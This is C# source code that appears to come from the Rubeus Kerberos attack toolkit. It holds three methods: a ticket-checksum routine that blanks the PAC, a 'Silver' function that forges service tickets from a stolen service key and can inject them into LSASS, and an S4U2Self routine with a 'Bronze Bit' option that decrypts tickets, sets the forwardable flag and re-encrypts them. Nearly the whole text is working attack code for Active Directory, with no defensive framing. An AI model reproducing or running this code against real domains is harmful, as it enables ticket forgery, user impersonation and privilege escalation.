public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType) { byte[] ticketChecksum = null; byte[] oldWin2kPacData = null; PACTYPE oldWin2kPac = null; EncTicketPart tmpEncTicketPart = this; // find the PAC and place a zero in it's ad-data List <AuthorizationData> newAuthData = new List <AuthorizationData>(); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { oldWin2kPacData = win2k_pac.ad_data; oldWin2kPac = win2k_pac.Pac; ADWin2KPac tmpWin2k = new ADWin2KPac(); tmpWin2k.ad_data = new byte[] { 0x00 }; tmpWin2k.Pac = null; tmpifrelevant.ADData.Add(tmpWin2k); } else { tmpifrelevant.ADData.Add(ifrelevant); } } newAuthData.Add(tmpifrelevant); } tmpEncTicketPart.authorization_data = newAuthData; ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { win2k_pac.ad_data = oldWin2kPacData; win2k_pac.Pac = oldWin2kPac; } } } return(ticketChecksum); }
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent) { // determine domain if not supplied string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(domain)) { if ((parts.Length > 1) && (parts[0] == "krbtgt")) { Console.WriteLine("[X] Referral TGT requires /domain to be passed."); return; } else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) { Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'."); return; } else if (parts.Length > 1) { domain = parts[1].Substring(parts[1].IndexOf('.') + 1); string[] domainParts = domain.Split(':'); if (domainParts.Length > 1) { domain = domainParts[0]; } } else if (sname.Split('@').Length > 1) { domain = sname.Split('@')[1]; } else { Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); return; } } // initialize some structures KRB_CRED cred = new KRB_CRED(); KrbCredInfo info = new KrbCredInfo(); // generate a random session key Random random = new Random(); byte[] randKeyBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags); // get the key from keyString byte[] key = Helpers.StringToByteArray(keyString); // encrypt the EncTicketPart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); // initialize the ticket and add the enc_part Ticket ticket = new Ticket(domain.ToUpper(), sname); ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); // add the ticket cred.tickets.Add(ticket); // [0] add in the session key info.key.keytype = (int)etype; info.key.keyvalue = randKeyBytes; // [1] prealm (domain) info.prealm = decTicketPart.crealm; // [2] pname (user) info.pname.name_type = decTicketPart.cname.name_type; info.pname.name_string = decTicketPart.cname.name_string; // [3] flags info.flags = flags; // [4] authtime (not required) info.authtime = decTicketPart.authtime; // [5] starttime info.starttime = decTicketPart.starttime; // [6] endtime info.endtime = decTicketPart.endtime; // [7] renew-till info.renew_till = decTicketPart.renew_till; // [8] srealm info.srealm = ticket.realm; // [9] sname info.sname.name_type = ticket.sname.name_type; info.sname.name_string = ticket.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } }
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; if (bronzebit && !String.IsNullOrEmpty(keyString)) { Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); info.flags |= Interop.TicketFlags.forwardable; // get user longterm key from keyString byte[] key = Helpers.StringToByteArray(keyString); // decrypt and decode ticket encpart outBytes = Crypto.KerberosDecrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, rep.ticket.enc_part.cipher); ae = AsnElt.Decode(outBytes, false); EncTicketPart decTicketPart = new EncTicketPart(ae.Sub[0]); // modify flags decTicketPart.flags |= Interop.TicketFlags.forwardable; // encode and encrypt ticket encpart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); rep.ticket.enc_part = new EncryptedData((Int32)encType, encTicketPart, rep.ticket.enc_part.kvno); Console.WriteLine("[*] Flags changed to: {0}", info.flags); } // add the ticket cred.tickets.Add(rep.ticket); // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we want to use the s4u2self change the sname here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt && self) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } return(cred); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }